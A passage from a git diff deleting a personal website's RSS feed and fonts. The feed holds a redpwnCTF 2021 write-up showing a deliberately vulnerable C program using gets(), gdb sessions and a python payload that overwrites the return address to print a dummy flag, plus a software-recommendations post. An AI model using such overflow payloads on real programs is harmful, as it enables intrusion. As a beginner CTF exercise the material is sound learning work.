<span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - if - </span> - <span class=""> - </span> - <span class="token punctuation"> - ( - </span> - <span class="token operator"> - ! - </span> - <span class=""> - fp - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "no flag!! contact a member of rob inc" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - exit - </span> - <span class="token punctuation"> - ( - </span> - <span class="token operator"> - - - </span> - <span class="token number"> - 1 - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - fgets - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - flag - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token number"> - 0xff - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - fp - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - flag - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - fclose - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - fp - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - int - </span> - <span class=""> - </span> - <span class="token function"> - main - </span> - <span class="token punctuation"> - ( - </span> - <span class="token keyword"> - void - </span> - <span class="token punctuation"> - ) - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - { - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token keyword"> - char - </span> - <span class=""> - comments_and_concerns - </span> - <span class="token punctuation"> - [ - </span> - <span class="token number"> - 32 - </span> - <span class="token punctuation"> - ] - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stdout - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stdin - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - setbuf - </span> - <span class="token punctuation"> - ( - </span> - <span class="token constant"> - stderr - </span> - <span class="token punctuation"> - , - </span> - <span class=""> - </span> - <span class="token constant"> - NULL - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable..." - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "slap on some flavortext and there's no way rob will fire me now!" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - puts - </span> - <span class="token punctuation"> - ( - </span> - <span class="token string"> - "this is genius!! what do you think?" - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token function"> - gets - </span> - <span class="token punctuation"> - ( - </span> - <span class=""> - comments_and_concerns - </span> - <span class="token punctuation"> - ) - </span> - <span class="token punctuation"> - ; - </span> - <span class=""> - </span> - <span class=""> - </span> - <span class="token punctuation"> - } - </span> - </code> - </div> - </pre> - <p> - With my newfound knowledge of binary exploitation, I figured I would have to -overwrite the return pointer on the stack somehow, so the program calls the - <code> - super_generic_flag_reading_function_please_ret_to_me - </code> - function that isn't -called at all in the original. - </p> - <p> - The only input we have control over is again a call to - <code> - gets(); - </code> - </p> - <p> - Let's look at the dissassembly in gdb: - </p> - <pre> - <code> - (gdb) disas main -Dump of assembler code for function main: - 0x00000000004013f4 <+79>: call 0x4010a0 <puts@plt> - 0x00000000004013f9 <+84>: lea rdi,[rip+0xca0] # 0x4020a0 - 0x0000000000401400 <+91>: call 0x4010a0 <puts@plt> - 0x0000000000401405 <+96>: lea rdi,[rip+0xd0c] # 0x402118 - 0x000000000040140c <+103>: call 0x4010a0 <puts@plt> - 0x0000000000401411 <+108>: lea rdi,[rip+0xd48] # 0x402160 - 0x0000000000401418 <+115>: call 0x4010a0 <puts@plt> - 0x000000000040141d <+120>: lea rax,[rbp-0x20] - 0x0000000000401421 <+124>: mov rdi,rax - 0x0000000000401424 <+127>: call 0x4010e0 <gets@plt> - 0x0000000000401429 <+132>: mov eax,0x0 - 0x000000000040142e <+137>: leave - 0x000000000040142f <+138>: ret -End of assembler dump. - </code> - </pre> - <p> - We see again multiple calls to - <code> - <puts@plt> - </code> - and right after a call to - <code> - <gets@plt> - </code> - . There is no - <code> - cmp - </code> - and - <code> - jne - </code> - to be found in this challenge though. - </p> - <p> - The goal is to overwrite the - <em> - return adress - </em> - . This is a memory adress also -stored in memory, and the program will move execution to that memory adress -once it sees a - <code> - ret - </code> - instruction. In this 'vanilla' state, the return adress -always goes to the assembly equivalent of an - <code> - exit() - </code> - function. Let's see if we -can overwrite it by giving too much input: - </p> - <pre> - <code> - (gdb) break *0x000000000040142f -Breakpoint 1 at 0x40142f -(gdb) run < <(python3 -c "print('a' * 56)") --- Breakpoint 1 hit -- -(gdb) info registers -rax 0x0 0x0 -rbx 0x401430 0x401430 -rsi 0x7ffff7f7d883 0x7ffff7f7d883 -rdi 0x7ffff7f804e0 0x7ffff7f804e0 -rbp 0x6161616161616161 0x6161616161616161 -rsp 0x7fffffffd898 0x7fffffffd898 -rip 0x40142f 0x40142f <main+138> - </code> - </pre> - <p> - As you can see, the $rbp register is completely overwritten with - <code> - 0x61 - </code> - 's. -Let's check the $rsp register to see where the - <code> - main() - </code> - function tries to go -after - <code> - ret - </code> - : - </p> - <pre> - <code> - (gdb) run -Starting program: ret2generic-flag-reader -alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable... -how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function! -slap on some flavortext and there's no way rob will fire me now! -this is genius!! what do you think? -a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 --- Breakpoint 1 hit -- -(gdb) x/1gx $rsp -0x7fffffffd898: 0x3363326331633063 - </code> - </pre> - <p> - Let's use cyberchef to see what - <code> - 0x3363326331633063 - </code> - is in ascii! - </p> - <p> - </p> - <div class="image"> - <img src="/img/redpwn2021/cyberchef1.png" alt=""> - </div> - <p> - </p> - <p> - Hmm, it's backwards. Let's reverse it! - </p> - <p> - </p> - <div class="image"> - <img src="/img/redpwn2021/cyberchef2.png" alt=""> - </div> - <p> - </p> - <p> - Let's find the adress of the super generic flag reading function with gdb. - </p> - <pre> - <code> - (gdb) print super_generic_flag_reading_function_please_ret_to_me -$2 = {<text variable, no debug info>} 0x4011f6 <super_generic_flag_reading_function_please_ret_to_me> - </code> - </pre> - <p> - Now we're ready to craft a string that exploits the program and runs the secret -function! - </p> - <pre> - <code> - a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 <- original - c0c1c2c3 <- ends up in $rsp -aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <- padding ( 0x28 * 'a' ) - - c 0 c 1 c 2 c 3 <- ends up in $rsp - 3 c 2 c 1 c 0 c <- reverse -0x3363326331633063 <- reverse (hex) -0x00000000004011f6 <- pointer we want in $rsp - f611400000000000 <- reverse - \xf6\x11\x40\x00\x00\x00\x00\x00 <- python bytestring - -exploit string: -b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00' - </code> - </pre> - <p> - Now let's try it in an environment-less shell: - </p> - <pre> - <code> - python3 -c "import sys; sys.stdout.buffer.write(b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00')" | ./ret2generic-flag-reader -alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable... -how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function! -slap on some flavortext and there's no way rob will fire me now! -this is genius!! what do you think? -flag{this_is_a_dummy_flag_go_solve_it_yourself} - -Segmentation fault (core dumped) -sh-5.1$ - </code> - </pre> - <h3 id="revbread-making"> - rev/bread-making - </h3> - <p> - For this challenge, I first tried using iaito again to do some program flow -analysis. After giving up on that, I decided to instead brute-force the correct -steps by hand. This was a very long and boring process. - </p> - <p> - First I used - <code> - strings - </code> - again to extract all the dialogue and user input strings -from the binary. Then I filtered them to not include obvious dialogue, but only -the possible user input strings. And this is the correct path that gives the -flag: - </p> - <pre> - <code> - add flour -add salt -add yeast -add water -hide the bowl inside a box -wait 3 hours -work in the basement -preheat the toaster oven -set a timer on your phone -watch the bread bake -pull the tray out with a towel -open the window -unplug the oven -unplug the fire alarm -wash the sink -clean the counters -flush the bread down the toilet -get ready to sleep -close the window -replace the fire alarm -brush teeth and go to bed - </code> - </pre> - <p> - In hindsight I could've probably made a simple python script to brute force all -remaining possibilities until it got longer output from the program, but -laziness took over and I decided that spending 45 minutes doing very dull work -was more worth it instead. - </p> - <h2 id="epilogue"> - Epilogue - </h2> - <p> - Of the 47 total challenges, me and Willem only solved 15. My end goal for this -CTF wasn't winning to begin with, so the outcome didn't matter for me. After -the second day I set the goal of reaching the 3rd page of the leaderboards as -my goal, and we reached 277'th place in the end which made my mom very proud! - </p> - <p> - </p> - <div class="image"> - <img src="/img/redpwn2021/leaderboard.png" alt=""> - </div> - <p> - </p> - <p> - I enjoyed the CTF a lot! There were some very frustrating challenges, and I -still don't get how people solved web/wtjs, but that's fine. I did learn how to -use GDB and a lot of other things during the CTF which were all very rewarding. -I will definitely be participating in the 2022 redpwnCTF, and maybe even some -others if they're beginner friendly :) - </p> - <p> - During the Radboud CTF and this CTF I've accumulated a lot of ideas to maybe -host one myself, though I have no clue where to start with that. Maybe keep an -eye out for that ;) - </p> -</div></description> - </item> - <item> - <title>Software that I use</title> - <guid>software</guid> - <link>/post/software</link> - <pubDate>April 13 2021</pubDate> - <description><div class="contentWrapper"> - <h2 id="pc-software"> - PC software - </h2> - <p> - All of the software on this page is cool and I think you should try it. I also -use all of this software, and will update this page when I find new, - <em> - even -cooler - </em> - software to use instead. Most if not all of my configuration files -(dotfiles) are on my - <a href="https://github.com/lonkaars/dotfiles"> - github - </a> - . You can -clone these and edit them to fit your needs, or you can use them as a reference -for when you can't figure out how to configure something. - </p> - <h3 id="regular-software"> - Regular software - </h3> - <ul> - <li> - <p> - <strong> - Email client - </strong> - : - <a href="https://neomutt.org/"> - neomutt - </a> - . It's fast and simple, -though configuring it was a pain in the ass. I'm currently using it in -combination with mbsync and imapnotify to get notifications for new emails, -and sync my mailbox for fast email viewing. - </p> - </li> - <li> - <p> - <strong> - Music player - </strong> - : - <a href="https://www.musicpd.org/"> - mpd - </a> - with - <a href="https://github.com/ncmpcpp/ncmpcpp"> - ncmpcpp - </a> - . This is the best music setup -I've ever used. I download all my music in .flac format and mpd - <em> - just works - </em> - . -Since mpd has a server-client structure, I could also use this to set up -multiple devices that can add music to a central queue at a party or -something, but I just use it to launch - <a href="https://github.com/DanielFGray/fzf-scripts/blob/master/fzmp"> - an fzf mpc -wrapper - </a> - to -quickly add music while I'm doing something else. - </p> - </li> - <li> - <p> - <strong> - Text editor - </strong> - : - <a href="https://neovim.io/"> - nvim - </a> - . It's vim. If you don't like vim, -you should try using it longer. If you still don't like vim, you can use - <a href="https://appimage.github.io/Code_OSS/"> - code oss - </a> - which is visual studio code -but without Microsoft's creepy telemetry features. - </p> - </li> - <li> - <p> - <strong> - PDF viewer - </strong> - : - <a href="https://pwmt.org/projects/zathura/"> - zathura - </a> - . It's a pdf -viewer with vim bindings, and it works with my TeX editing setup's live -reload thingy. - </p> - </li> - <li> - <p> - <strong> - Image viewer - </strong> - : - <a href="https://github.com/muennich/sxiv"> - sxiv - </a> - . It's like zathura -but for images, but it also does a bunch of other stuff that I don't use very -often. - </p> - </li> - <li> - <p> - <strong> - Browser - </strong> - : - <a href="https://brave.com/"> - brave - </a> - . It's a normie-friendly chromium -fork with extra privacy features! I of course use brave (or any -chromium-based browser) with - <a href="https://www.tampermonkey.net/"> - tampermonkey - </a> - , - <a href="https://ublockorigin.com/"> - ublock origin - </a> - , - <a href="https://github.com/openstyles/stylus"> - stylus - </a> - and - <a href="https://darkreader.org/"> - dark -reader - </a> - . - </p> - </li> - <li> - <p> - <strong> - Terminal - </strong> - : - <a href="https://st.suckless.org/"> - st - </a> - . It's fast and simple, nothing -to complain about. I have my - <a href="https://github.com/lonkaars/st"> - own st fork - </a> - , -with a bunch of patches that make me happy. - </p> - </li> - <li> - <p> - <strong> - Password manager - </strong> - : - <a href="https://bitwarden.com/"> - bitwarden - </a> - . Open source -password manager that you can host yourself. It also has public servers which -are mostly free, but some features like time-based one-time passwords are -paid. All the clients are also open source. - </p> - </li> - <li> - <p> - <strong> - Document typesetting - </strong> - : - <a href="https://www.latex-project.org/"> - LaTeX - </a> - (using - <a href="https://personal.psu.edu/~jcc8/software/latexmk/"> - latexmk - </a> - with the - <a href="http://xetex.sourceforge.net/"> - XeTeX - </a> - compiler). - </p> - </li> - <li> - <p> - <strong> - File browser - </strong> - : - <a href="https://github.com/ranger/ranger"> - ranger - </a> - . It's kind of -slow, but I use the bulkrename feature very often, and I haven't gotten used -to the perl - <code> - rename - </code> - script yet. - </p> - </li> - <li> - <p> - <a href="https://github.com/MacPaw/XADMaster"> - unar - </a> - . I like running - <code> - unar [archive] - </code> - instead of using - <code> - 7z - </code> - , - <code> - tar - </code> - , - <code> - unzip - </code> - , etc. It creates a new folder to unpack -to automatically so it does exactly what I need. - </p> - </li> - </ul> - <h3 id="os-stuff"> - OS stuff - </h3> - <ul> - <li> - <p> - <strong> - Window manager - </strong> - : - <a href="https://github.com/Airblader/i3"> - i3-gaps - </a> - . I tried it -once and didn't switch back so this is a winner I guess. I've also heard good -things about - <a href="https://dwm.suckless.org/"> - dwm - </a> - , though I haven't used it -myself. Most people complain about i3's limited configurability, but I -haven't ran into something that it doesn't do for me. - </p> - </li> - <li> - <p> - <strong> - Application launcher - </strong> - : - <a href="https://github.com/davatorium/rofi"> - rofi - </a> - . I've -been using rofi since I started using linux, and haven't switched to anything -else because it's - <em> - very - </em> - configurable, and has a dmenu mode for using it -instead of dmenu with other scripts. I use it primarily as my application -launcher, but I also have a hotkey setup to launch - <code> - bwmenu - </code> - which is a script -that fills in bitwarden passwords using rofi. - </p> - </li> - <li> - <p> - <strong> - Shell - </strong> - : - <a href="https://www.zsh.org/"> - zsh - </a> - with - <a href="https://ohmyz.sh/"> - oh-my-zsh - </a> - . -It's zsh, all the cool kids use it already. I do have - <code> - /usr/bin/sh - </code> - <code> - ln -s - </code> - 'd -to - <code> - /usr/bin/bash - </code> - , but I'd like to change that to - <code> - /usr/bin/dash - </code> - . Eh, I'll -get around to it someday. - </p> - </li> - <li> - <p> - <strong> - Status Bar - </strong> - : - <a href="https://github.com/polybar/polybar"> - polybar - </a> - . Simple bar, -gets the job done, the configuration files make me go insane though. It took -me a good half year of ricing to understand the polybar configuration files, -and I'm still not sure if I do. - </p> - </li> - <li> - <p> - <strong> - Notification daemon - </strong> - : - <a href="https://dunst-project.org/"> - dunst - </a> - . I used to use -deadd-notification-center, but that has waaaay too many haskell dependencies -on arch, so I don't use that anymore. - </p> - </li> - <li> - <p> - <strong> - Global keybinds - </strong> - : - <a href="https://www.nongnu.org/xbindkeys/xbindkeys.html"> - xbindkeys - </a> - . Simple -configuration, works flawlessly, 10/10. - </p> - </li> - <li> - <p> - <strong> - Compositor - </strong> - : - <a href="https://github.com/yshui/picom"> - picom - </a> - . It's a simple -compositor. I use it to enable vsync for desktop windows, and I have it set -up to only show a drop shadow on floating i3 windows. - </p> - </li> - </ul> - <h3 id="closed-source"> - Closed source - </h3> - <ul> - <li> - <p> - <a href="https://discord.com/"> - discord - </a> - . Gamer. The only reason this is listed here -is because I use discord with - <a href="https://github.com/rauenzi/BetterDiscordApp"> - betterdiscord - </a> - (which - <em> - is - </em> - open-source). Betterdiscord allows you to use custom css themes, custom -plugins and a whole bunch of other cool stuff that regular discord doesn't -do. It's technically against TOS, but I don't really care as I only use -quality of life improvement plugins. - </p> - </li> - <li> - <p> - <a href="https://figma.com"> - figma - </a> - . It's the designing software that I use to create -user interface or website mockups. It's easily accessible though a browser, -and it uses webassembly so it's also decently fast. It's free for personal -use. - </p> - </li> - </ul> - <h2 id="server-software"> - Server software - </h2> - <p> - This is the software that runs on my home server. - </p> - <h3 id="email"> - Email - </h3> - <p> - I used - <a href="http://lukesmith.xyz/"> - Luke Smith's - </a> - <a href="https://github.com/LukeSmithxyz/emailwiz"> - emailwiz - </a> - to set up my email server. -The script installs and configures an email setup with - <a href="http://www.postfix.org/"> - postfix - </a> - , - <a href="https://www.dovecot.org/"> - dovecot - </a> - , - <a href="https://spamassassin.apache.org/"> - spamassassin - </a> - and - <a href="http://www.opendkim.org/"> - opendkim - </a> - . - </p> - <h3 id="etesync"> - Etesync - </h3> - <p> - I run my own - <a href="https://www.etesync.com/"> - etesync - </a> - server for synchronizing my -to-do lists, calendar and contacts. It's relatively easy to set up, and has a -web interface that you can use with your own self-hosted instance. - </p> - <h3 id="bitwarden"> - Bitwarden - </h3> - <p> - I also run my own - <a href="https://github.com/bitwarden/server"> - bitwarden - </a> - server. It -uses docker with docker-compose, which are two things that I'm supposed to know -about, but I don't. - </p> - <p> - I'm working on a connect 4 website myself, and I'm planning on learning to use -docker with docker-compose to make it easier to run the seperate parts that are -needed to host the project. - </p> - <h3 id="git"> - Git - </h3> - <p> - I have a - <a href="https://git.zx2c4.com/cgit/about/"> - cgit - </a> - server to host my git -repositories on - <a href="https://git.pipeframe.xyz"> - https://git.pipeframe.xyz - </a> - , and I use - <a href="https://gitolite.com/gitolite/"> - gitolite - </a> - for ssh git push access. Cgit is -very easy to set up, and I like it very much. Gitolite on the other hand is a -pain in the ass to set up, because the documentation is not that great. If -you're planning on using gitolite on your own server, set the umask in - <code> - ~/.gitolite.rc - </code> - of your server's git account to - <code> - 0022 - </code> - . - </p> - <h3 id="sftp"> - SFTP - </h3> - <p> - I have two semi-public sftp accounts set up on my server: - <code> - media - </code> - and - <code> - sftp - </code> - . - <code> - sftp - </code> - is for generic file sharing, and - <code> - media - </code> - is for my media. Both accounts -have tty login disabled and are chroot-jailed to /var/media and /var/sftp. - </p> - <h2 id="phone-apps"> - Phone apps - </h2> - <p> - These are the apps that I use on my phone. I have a Nokia 6 (2017), it's pretty -shitty but I don't really use my phone. I used to have it rooted, but the root -guide on xda forums was written by some Chinese guy, and it came with a Chinese -android rom, which caused me to miss a lot of calls. - </p> - <h3 id="open-source"> - Open source - </h3> - <ul> - <li> - <p> - <strong> - One-time password generator - </strong> - : - <a href="https://github.com/andOTP/andOTP"> - andotp - </a> - </p> - </li> - <li> - <p> - <strong> - App store - </strong> - : - <a href="https://gitlab.com/AuroraOSS/AuroraStore"> - aurora store - </a> - . This -app works better when you're rooted, but it's way better than the google play -store. - </p> - </li> - <li> - <p> - <strong> - App store - </strong> - : - <a href="https://gitlab.com/AuroraOSS/auroradroid"> - aurora f-droid - </a> - </p> - </li> - <li> - <p> - <strong> - Password manager - </strong> - : - <a href="https://github.com/bitwarden/mobile"> - bitwarden - </a> - </p> - </li> - <li> - <p> - <strong> - Browser - </strong> - : - <a href="https://www.bromite.org/"> - bromite - </a> - . This is basically ungoogled -chromium but for mobile. - </p> - </li> - <li> - <p> - <strong> - Calendar - </strong> - : - <a href="https://github.com/Etar-Group/Etar-Calendar"> - etar - </a> - </p> - </li> - <li> - <p> - <a href="https://github.com/etesync/android"> - etesync - </a> - </p> - </li> - <li> - <p> - <strong> - File browser - </strong> - : - <a href="https://github.com/zhanghai/MaterialFiles"> - material -files - </a> - . It looks sexy, it's free, -it's awesome. - </p> - </li> - <li> - <p> - <strong> - Email client - </strong> - : - <a href="https://email.faircode.eu/"> - fairemail - </a> - . STOP CRYING. - </p> - </li> - <li> - <p> - <strong> - Maps - </strong> - : - <a href="https://osmand.net/"> - osmand - </a> - </p> - </li> - <li> - <p> - <strong> - Music player - </strong> - : - <a href="https://www.shuttlemusicplayer.com/"> - shuttle - </a> - . It looks -sexy, it's free, it's awesome. - </p> - </li> - <li> - <p> - <strong> - Instant messenger - </strong> - : - <a href="https://signal.org/"> - signal - </a> - . - <a href="https://twitter.com/elonmusk/status/1347165127036977153"> - papa musk said -it - </a> - . - </p> - </li> - <li> - <p> - <strong> - Manga reader - </strong> - : - <a href="https://tachiyomi.org/"> - tachiyomi - </a> - </p> - </li> - <li> - <p> - <strong> - To-do lists - </strong> - : - <a href="https://tasks.org/"> - tasks.org - </a> - . This is easily the best -to-do app I've ever used, and it integrated very well with etesync. - </p> - </li> - </ul> - <h3 id="closed-source"> - Closed source - </h3> - <ul> - <li> - <strong> - Reddit client - </strong> - : - <a href="https://play.google.com/store/apps/details?id=com.laurencedawson.reddit_sync"> - sync - </a> - </li> - </ul> -</div></description> - </item> - </channel> -</rss> diff --git a/public/font/font.css b/public/font/font.css deleted file mode 100644 index 61c9755..0000000 --- a/public/font/font.css +++ /dev/null @@ -1,115 +0,0 @@ -@font-face { - font-family: 'Inter'; - font-style: normal; - font-weight: 400; - font-display: swap; - src: url("./inter/Inter-Regular.woff2?v=3.15") format("woff2"), - url("./inter/Inter-Regular.woff?v=3.15") format("woff"); -} -@font-face { - font-family: 'Inter'; - font-style: italic; - font-weight: 400; - font-display: swap; - src: url("./inter/Inter-Italic.woff2?v=3.15") format("woff2"), - url("./inter/Inter-Italic.woff?v=3.15") format("woff"); -} - -@font-face { - font-family: 'Inter'; - font-style: normal; - font-weight: 500; - font-display: swap; - src: url("./inter/Inter-Medium.woff2?v=3.15") format("woff2"), - url("./inter/Inter-Medium.woff?v=3.15") format("woff"); -} -@font-face { - font-family: 'Inter'; - font-style: italic; - font-weight: 500; - font-display: swap; - src: url("./inter/Inter-MediumItalic.woff2?v=3.15") format("woff2"), - url("./inter/Inter-MediumItalic.woff?v=3.15") format("woff"); -} - -@font-face { - font-family: 'Inter'; - font-style: normal; - font-weight: 600; - font-display: swap; - src: url("./inter/Inter-SemiBold.woff2?v=3.15") format("woff2"), - url("./inter/Inter-SemiBold.woff?v=3.15") format("woff"); -} -@font-face { - font-family: 'Inter'; - font-style: italic; - font-weight: 600; - font-display: swap; - src: url("./inter/Inter-SemiBoldItalic.woff2?v=3.15") format("woff2"), - url("./inter/Inter-SemiBoldItalic.woff?v=3.15") format("woff"); -} - -@font-face { - font-family: 'Inter'; - font-style: normal; - font-weight: 700; - font-display: swap; - src: url("./inter/Inter-Bold.woff2?v=3.15") format("woff2"), - url("./inter/Inter-Bold.woff?v=3.15") format("woff"); -} -@font-face { - font-family: 'Inter'; - font-style: italic; - font-weight: 700; - font-display: swap; - src: url("./inter/Inter-BoldItalic.woff2?v=3.15") format("woff2"), - url("./inter/Inter-BoldItalic.woff?v=3.15") format("woff"); -} - - - -@font-face { - font-family: 'JetBrainsMono'; - font-style: normal; - font-weight: 400; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-Regular.woff2") format("woff2"); -} -@font-face { - font-family: 'JetBrainsMono'; - font-style: italic; - font-weight: 400; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-Italic.woff2") format("woff2"); -} - -@font-face { - font-family: 'JetBrainsMono'; - font-style: normal; - font-weight: 500; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-Medium.woff2") format("woff2"); -} -@font-face { - font-family: 'JetBrainsMono'; - font-style: italic; - font-weight: 500; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-MediumItalic.woff2") format("woff2"); -} - -@font-face { - font-family: 'JetBrainsMono'; - font-style: normal; - font-weight: 700; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-Bold.woff2") format("woff2"); -} -@font-face { - font-family: 'JetBrainsMono'; - font-style: italic; - font-weight: 700; - font-display: swap; - src: url("./jetbrainsmono/JetBrainsMono-BoldItalic.woff2") format("woff2"); -} - diff --git a/public/font/inter/Inter-Bold.woff b/public/font/inter/Inter-Bold.woff Binary files differdeleted file mode 100644 index 80f70f0..0000000 --- a/public/font/inter/Inter-Bold.woff +++ /dev/null diff --git a/public/font/inter/Inter-Bold.woff2 b/public/font/inter/Inter-Bold.woff2 Binary files differdeleted file mode 100644 index 622e5f1..0000000 --- a/public/font/inter/Inter-Bold.woff2 +++ /dev/null diff --git a/public/font/inter/Inter-BoldItalic.woff b/public/font/inter/Inter-BoldItalic.woff Binary files differdeleted file mode 100644 index 03238dd..0000000 --- a/public/font/inter/Inter-BoldItalic.woff +++ /dev/null diff --git a/public/font/inter/Inter-BoldItalic.woff2 b/public/font/inter/Inter-BoldItalic.woff2 Binary files differdeleted file mode 100644 index 1b2dafb..0000000 --- a/public/font/inter/Inter-BoldItalic.woff2 +++ /dev/null diff --git a/public/font/inter/Inter-Italic.woff b/public/font/inter/Inter-Italic.woff Binary files differdeleted file mode 100644 index 9c21aed..0000000 --- a/public/font/inter/Inter-Italic.woff +++ /dev/null diff --git a/public/font/inter/Inter-Italic.woff2 b/public/font/inter/Inter-Italic.woff2 Binary files differdeleted file mode 100644 index 734944b..0000000 --- a/public/font/inter/Inter-Italic.woff2 +++ /dev/null diff --git a/public/font/inter/Inter-Medium.woff b/public/font/inter/Inter-Medium.woff Binary files differdeleted file mode 100644 index 1d50f80..0000000 --- a/public/font/inter/Inter-Medium.woff +++ /dev/null diff --git a/public/font/inter/Inter-Medium.woff2 b/public/font/inter/Inter-Medium.woff2 Binary files differdeleted file mode 100644 index ffb4206..0000000 --- a/public/font/inter/Inter-Medium.woff2 +++ /dev/null diff --git a/public/font/inter/Inter-MediumItalic.woff b/public/font/inter/Inter-MediumItalic.woff Binary files differdeleted file mode 100644 index 9eb5b9d..0000000 --- a/public/font/inter/Inter-MediumItalic.woff +++ /dev/null diff --git a/public/font/inter/Inter-MediumItalic.woff2 b/public/font/inter/Inter-MediumItalic.woff2 Binary files differdeleted file mode 100644 index ebee655..0000000 --- a/public/font/inter/Inter-MediumItalic.woff2 +++ /dev/null diff --git a/public/font/inter/Inter-Regular.woff b/public/font/inter/Inter-Regular.woff Binary files differdeleted file mode 100644 index 7cb4990..0000000 --- a/public/font/inter/Inter-Regular.woff +++ /dev/null diff --git a/public/font/inter/Inter-Regular.woff2 b/public/font/inter/Inter-Regular.woff2 Binary files differdeleted file mode 100644 index 66691b8..0000000 --- a/public/font/inter/Inter-Regular.woff2 +++ /dev/null diff --git a/public/font/inter/Inter-SemiBold.woff b/public/font/inter/Inter-SemiBold.woff Binary files differdeleted file mode 100644 index 490bd9d..0000000 --- a/public/font/inter/Inter-SemiBold.woff +++ /dev/null diff --git a/public/font/inter/Inter-SemiBold.woff2 b/public/font/inter/Inter-SemiBold.woff2 Binary files differdeleted file mode 100644 index 9fd7726..0000000 --- a/public/font/inter/Inter-SemiBold.woff2 +++ /dev/null diff --git a/public/font/inter/Inter-SemiBoldItalic.woff b/public/font/inter/Inter-SemiBoldItalic.woff Binary files differdeleted file mode 100644 index 839fc3d..0000000 --- a/public/font/inter/Inter-SemiBoldItalic.woff +++ /dev/null diff --git a/public/font/inter/Inter-SemiBoldItalic.woff2 b/public/font/inter/Inter-SemiBoldItalic.woff2 Binary files differdeleted file mode 100644 index 2492569..0000000 --- a/public/font/inter/Inter-SemiBoldItalic.woff2 +++ /dev/null diff --git a/public/font/jetbrainsmono/JetBrainsMono-Bold.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Bold.woff2 Binary files differdeleted file mode 100644 index 07fe5d7..0000000 --- a/public/font/jetbrainsmono/JetBrainsMono-Bold.woff2 +++ /dev/null diff --git a/public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2 b/public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2 Binary files differdeleted file mode 100644 index 57263ef..0000000 --- a/public/font/jetbrainsmono/JetBrainsMono-BoldItalic.woff2 +++ /dev/null diff --git a/public/font/jetbrainsmono/JetBrainsMono-Italic.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Italic.woff2 Binary files differdeleted file mode 100644 index cf9e8ef..0000000 --- a/public/font/jetbrainsmono/JetBrainsMono-Italic.woff2 +++ /dev/null diff --git a/public/font/jetbrainsmono/JetBrainsMono-Medium.woff2 b/public/font/jetbrainsmono/JetBrainsMono-Medium.woff2 